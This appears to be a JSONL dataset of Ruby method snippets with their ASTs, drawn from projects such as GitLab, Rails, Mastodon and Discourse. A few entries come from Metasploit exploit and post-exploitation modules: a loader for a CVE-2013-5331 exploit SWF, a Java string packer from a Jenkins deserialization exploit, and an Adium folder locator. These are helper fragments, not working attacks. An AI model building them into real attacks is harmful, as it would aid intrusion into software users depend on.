{"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/app/serializers/poll_option_serializer.rb","start_line":6,"raw_source":"def id\n    object.digest\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"digest\"]}]}","id":"c6d7149f-eae8-4c1c-8bbc-69fd81194f94"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/mail_service.rb","start_line":56,"raw_source":"def strategy\n      @strategy ||= if self.class.const_defined?(:\"#{strategy_model}Strategy\")\n                      \"#{self.class}::#{strategy_model}Strategy\".constantize\n                    end\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@strategy\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"const_defined?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy_model\"]}]},{\"type\":\"str\",\"children\":[\"Strategy\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy_model\"]}]},{\"type\":\"str\",\"children\":[\"Strategy\"]}]},\"constantize\"]},null]}]}]}","id":"a8646365-4400-4915-b391-b10eb4db552b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/workers/account_refresh_worker_spec.rb","start_line":50,"raw_source":"def stub_service\n      allow(ResolveAccountService)\n        .to receive(:new)\n        .and_return(service)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"ResolveAccountService\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[null,\"service\"]}]}]}]}","id":"a247cfb1-b2c6-447c-b1f6-b8b087a7db79"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/approvable.rb","start_line":49,"raw_source":"def approved_by?(user)\n    return false unless user\n\n    approvals.where(user: user).any?\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"approved_by?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"approvals\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"any?\"]}]}]}","id":"eb4c86ea-ab90-4897-b7dc-cd7092674a01"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/activity.rb","start_line":64,"raw_source":"def approver_name\n        raw.dig('user', 'displayName')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"approver_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"dig\",{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"displayName\"]}]}]}","id":"44b0e032-8fe9-4aa6-b814-df6cf06b5f59"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/banzai/filter/repository_link_filter_spec.rb","start_line":8,"raw_source":"def filter(doc, contexts = {})\n    contexts.reverse_merge!({\n      commit: commit,\n      project: project,\n      current_user: user,\n      group: group,\n      wiki: wiki,\n      ref: ref,\n      requested_path: requested_path,\n      only_path: only_path\n    })\n\n    described_class.call(doc, contexts)\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"doc\"]},{\"type\":\"optarg\",\"children\":[\"contexts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contexts\"]},\"reverse_merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"send\",\"children\":[null,\"commit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wiki\"]},{\"type\":\"send\",\"children\":[null,\"wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requested_path\"]},{\"type\":\"send\",\"children\":[null,\"requested_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"send\",\"children\":[null,\"only_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"doc\"]},{\"type\":\"lvar\",\"children\":[\"contexts\"]}]}]}]}","id":"4ec0dca9-d068-4245-9e04-a92e2e6baa3e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/label_presenter.rb","start_line":53,"raw_source":"def label_subject\n    @label_subject ||= label.subject if label.respond_to?(:subject)\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"label_subject\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@label_subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label\"]},\"subject\"]}]},null]}]}","id":"5bc5f5fb-d27d-4dbc-abeb-0fb13d68f84f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/plugin_generator_test.rb","start_line":502,"raw_source":"def test_creating_mountable_engine_mode_adds_keeps\n    run_generator [destination_root, \"--mountable\"]\n    folders_with_keep = %w(\n      app/models/concerns\n      app/controllers/concerns\n      test/fixtures/files\n      test/controllers\n      test/mailers\n      test/models\n      test/helpers\n      test/integration\n    )\n    folders_with_keep.each do |folder|\n      assert_file(\"#{folder}/.keep\")\n    end\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creating_mountable_engine_mode_adds_keeps\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--mountable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"folders_with_keep\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"app/models/concerns\"]},{\"type\":\"str\",\"children\":[\"app/controllers/concerns\"]},{\"type\":\"str\",\"children\":[\"test/fixtures/files\"]},{\"type\":\"str\",\"children\":[\"test/controllers\"]},{\"type\":\"str\",\"children\":[\"test/mailers\"]},{\"type\":\"str\",\"children\":[\"test/models\"]},{\"type\":\"str\",\"children\":[\"test/helpers\"]},{\"type\":\"str\",\"children\":[\"test/integration\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folders_with_keep\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"folder\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder\"]}]},{\"type\":\"str\",\"children\":[\"/.keep\"]}]}]}]}]}]}","id":"19655a3b-7a41-4b17-b8d0-a55563a055b6"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/orders_controller.rb","start_line":140,"raw_source":"def cancel_service\n            Spree::Api::Dependencies.platform_order_cancel_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_order_cancel_service\"]},\"constantize\"]}]}","id":"f69d88c9-0994-436c-8150-26c127a1dff1"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/rescuable_test.rb","start_line":162,"raw_source":"def test_rescue_falls_back_to_exception_cause\n    @stargate.dispatch :fall_back_to_cause\n    assert_equal \"dex\", @stargate.result\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rescue_falls_back_to_exception_cause\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stargate\"]},\"dispatch\",{\"type\":\"sym\",\"children\":[\"fall_back_to_cause\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"dex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stargate\"]},\"result\"]}]}]}]}","id":"0b98f794-46ce-4870-9482-9968c44031eb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb","start_line":127,"raw_source":"def create_swf\n    path = ::File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2013-5331\", \"Exploit.swf\")\n    swf = ::File.open(path, 'rb') { |f| swf = f.read }\n\n    swf\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_swf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2013-5331\"]},{\"type\":\"str\",\"children\":[\"Exploit.swf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"swf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"swf\"]}]}]}","id":"57e85d62-866e-414f-ac03-66a9bce2e077"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/varbind.rb","start_line":63,"raw_source":"def self.decode(value_data)\n        Integer.new(decode_integer_value(value_data))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"decode_integer_value\",{\"type\":\"lvar\",\"children\":[\"value_data\"]}]}]}]}","id":"4f37bea2-a7b8-4fd4-bcf4-a7b9911ed84f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/accounts/endorsements_controller.rb","start_line":23,"raw_source":"def destroy\n    pin = AccountPin.find_by(account: current_account, target_account: @account)\n    pin&.destroy!\n    render json: @account, serializer: REST::RelationshipSerializer, relationships: relationships_presenter\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pin\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccountPin\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"current_account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pin\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"RelationshipSerializer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"send\",\"children\":[null,\"relationships_presenter\"]}]}]}]}]}]}","id":"370eeea2-7d28-4182-9535-b503aaeb6b43"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":436,"raw_source":"def test_indifferent_reject_bang\n    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)\n    indifferent_strings.reject! { |k, v| v != 1 }\n\n    assert_equal({ \"a\" => 1 }, indifferent_strings)\n    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings\n  end","complexity_score":7.73,"ast_json":"{\"type\":\"def\",\"children\":[\"test_indifferent_reject_bang\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"indifferent_strings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"HashWithIndifferentAccess\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@strings\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indifferent_strings\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"indifferent_strings\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"HashWithIndifferentAccess\"]},{\"type\":\"lvar\",\"children\":[\"indifferent_strings\"]}]}]}]}","id":"c29187f5-4cb2-469f-95a7-42ccfe4435ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/projects/shared_projects_resolver.rb","start_line":38,"raw_source":"def resolve_with_lookahead(**args)\n        projects = GroupProjectsFinder.new(\n          group: group,\n          current_user: context[:current_user],\n          params: finder_params(args),\n          options: { only_shared: true }\n        ).execute\n\n        apply_lookahead(projects)\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_with_lookahead\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupProjectsFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"finder_params\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_shared\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_lookahead\",{\"type\":\"lvar\",\"children\":[\"projects\"]}]}]}]}","id":"c1fd5d4f-ee08-45df-921e-974f0df737b3"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/sidebar_header_dropdown.rb","start_line":22,"raw_source":"def has_no_keyboard_shortcuts_button?\n        page.has_no_css?(\".sidebar-footer-actions-keyboard-shortcuts\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_keyboard_shortcuts_button?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"str\",\"children\":[\".sidebar-footer-actions-keyboard-shortcuts\"]}]}]}","id":"4351d60a-d860-4401-b898-6c2562824d2b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/users/invite_controller.rb","start_line":37,"raw_source":"def start_dialog\n    respond_with_dialog(\n      Users::Invitation::DialogComponent.new(form_model, project: @project)\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"start_dialog\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"respond_with_dialog\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Invitation\"]},\"DialogComponent\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"form_model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]}]}","id":"51aa4f33-1833-4bf1-a8f8-b167b6c491a7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cycle_analytics/updater.rb","start_line":6,"raw_source":"def self.update!(...)\n        new(...).update!\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update!\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"update!\"]}]}","id":"beb3a263-7a1a-4183-a148-313b101dc689"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/magic_comment.rb","start_line":269,"raw_source":"def encoding\n        extract(/\\A\\s*\\#\\s*(#{FSTRING_LITERAL_COMMENT})?\\s*#{KEYWORDS[:encoding]}: (#{TOKEN})/io)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encoding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"extract\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\s*\\\\#\\\\s*(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FSTRING_LITERAL_COMMENT\"]}]},{\"type\":\"str\",\"children\":[\")?\\\\s*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KEYWORDS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoding\"]}]}]},{\"type\":\"str\",\"children\":[\": (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOKEN\"]}]},{\"type\":\"str\",\"children\":[\")\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"o\"]}]}]}]}","id":"1eef1f47-7d9a-4542-9957-ef416a50a0ba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb","start_line":121,"raw_source":"def java_string(s)\n    length = s.length\n\n    packed_length = [length].pack(\"S>\")\n\n    \"#{packed_length}#{s}\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"java_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"packed_length\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"S>\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packed_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}]}","id":"bc3b98c0-e563-4d5b-ab34-68adf4cb95e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/enum_adium.rb","start_line":241,"raw_source":"def locate_adium(base)\n    dir(base).each do |folder|\n      m = folder.match(/(Adium \\d+\\.\\d+)$/)\n      if m\n        m = m[0].gsub(/\\x20/, '\\\\\\\\ ') + '/'\n        return \"#{base}#{m}\"\n      end\n    end\n\n    return nil\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"locate_adium\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dir\",{\"type\":\"lvar\",\"children\":[\"base\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"folder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(Adium \\\\d+\\\\.\\\\d+)$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x20\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\\\\\ \"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"1f47dc97-b3a5-412c-8754-b65dcd13d533"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/jira_connect_installations/update_service.rb","start_line":57,"raw_source":"def update_error\n      ServiceResponse.error(message: @installation.errors)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@installation\"]},\"errors\"]}]}]}]}]}","id":"b868492e-a0ae-407c-9189-a30880cefecd"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/test_unit/runner.rb","start_line":139,"raw_source":"def normalize_declarative_test_filter(filter)\n            if filter.is_a?(String)\n              if regexp_filter?(filter)\n                # Minitest::Spec::DSL#it does not replace whitespace in method\n                # names, so match unmodified method names as well.\n                filter = filter.gsub(/\\s+/, \"_\").delete_suffix(\"/\") + \"|\" + filter.delete_prefix(\"/\")\n              elsif !filter.start_with?(\"test_\")\n                filter = \"test_#{filter.gsub(/\\s+/, \"_\")}\"\n              end\n            end\n            filter\n          end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_declarative_test_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regexp_filter?\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"test_\"]}]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}","id":"d697766e-56bf-4d3b-98e9-b2476b6fe7e3"}
